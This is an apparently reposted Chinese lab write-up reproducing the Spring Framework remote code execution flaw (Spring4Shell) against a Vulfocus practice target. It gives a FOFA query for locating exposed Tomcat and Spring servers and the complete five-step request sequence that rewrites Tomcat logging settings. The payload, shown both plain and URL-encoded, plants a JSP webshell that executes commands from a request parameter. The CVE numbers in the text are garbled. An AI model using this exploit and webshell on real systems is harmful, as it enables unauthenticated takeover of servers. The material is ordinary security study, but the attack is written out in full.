1500字范文,内容丰富有趣,写作好帮手!
1500字范文 > [CVE--22965]Spring远程代码执行漏洞复现

[CVE--22965]Spring远程代码执行漏洞复现

时间:2022-11-26 22:27:35

相关推荐

[CVE--22965]Spring远程代码执行漏洞复现

漏洞概述(级别:高危)

续上一次Log4j2后,于03月29日,Spring官方发布了Spring框架远程命令执行漏洞公告(CNVD--23942、CVE--22965)

攻击者可以通过构造恶意请求来利用这些漏洞,从而造成任意代码执行,未经身份验证的攻击者可以使用此漏洞进行远程任意代码执行,该漏洞广泛存在于Spring框架以及衍生的框架中,JDK 9.0及以上版本会受到此漏洞影响

FOFA语法

app="APACHE-Tomcat" || app="vmware-SpringBoot-framework" || app="vmware-SpringBoot-framework" || app="vmware-Spring-Batch" || app="vmware-Spring-framework" || app="vmware-Spring-Security") && country="CN"

影响范围

使用JDK9或更高版本

使用Apache Tomcat作为Servlet容器

基于spring-webmvc或spring-webflux

使用传统WAR部署

Spring版本为5.3.0至5.3.17,5.2.0至5.2.19

漏洞复现

复现环境:Vulfocus 漏洞威胁分析平台

环境名称:vulfocus/spring-core-rce--03-29:latest

开启环境

访问123.58.236.76中25683端口

传入构造的POC第一步:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{content}i

调用class对象,通过ClassLoader取resources。context是Tomcat的StandardContext,parent拿到的是StandardEngine,pipeline拿到的是StandardPipeline,最终是给AccessLogValve对象的几个属性的赋值操作

%i 这个语法是从请求的header里面拿content,header的值目的是为了迎合tomcat日志的pattern

传入构造的POC第二步,日志会按照我们想要的方式,生成.jsp文件:

suffix是日志文件的后缀

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

传入构造的POC第三步,写入网站根目录:

class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

传入构造的POC第四步:

prefix修改日志文件的前缀

class.module.classLoader.resources.context.parent.pipeline.first.prefix=ganyu

传入构造的POC第五步,fileDateFormat是日期文件的时间格式,这里设置为空:

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

payload:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{content}iclass.module.classLoader.resources.context.parent.pipeline.first.suffix=.jspclass.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOTclass.module.classLoader.resources.context.parent.pipeline.first.prefix=ganyuclass.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

依次传入payload,就会在tomcat的webapps的Root目录下生成一个jsp文件

POC1:

注意:这里因为环境重启了,导致我的ip和端口发生改变

POC2:

POC3:

POC4:

POC5:

访问prefix修改后的jsp文件

上传webshell

接下来需要做的就是将内容更改为webshell,并让它解析就可以了 写入webshell到网站根目录

class.module.classLoader.resources.context.parent.pipeline.first.pattern=spring

webshell:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("t".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i

url编码webshell:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22t%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

所以顺序就是:

http://ip/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=spring

url编码webshell:

http://ip/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22t%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di

http://ip/?class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

http://ip/?class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

http://ip/?class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell

http://ip/?class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

这里的环境又没了,ip和端口重新更换了一下,每次环境只能开10分钟,我真的是服了这老六了,真特么扣

按照以上顺序重新上传一次

命令执行,flag在/tmp下

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。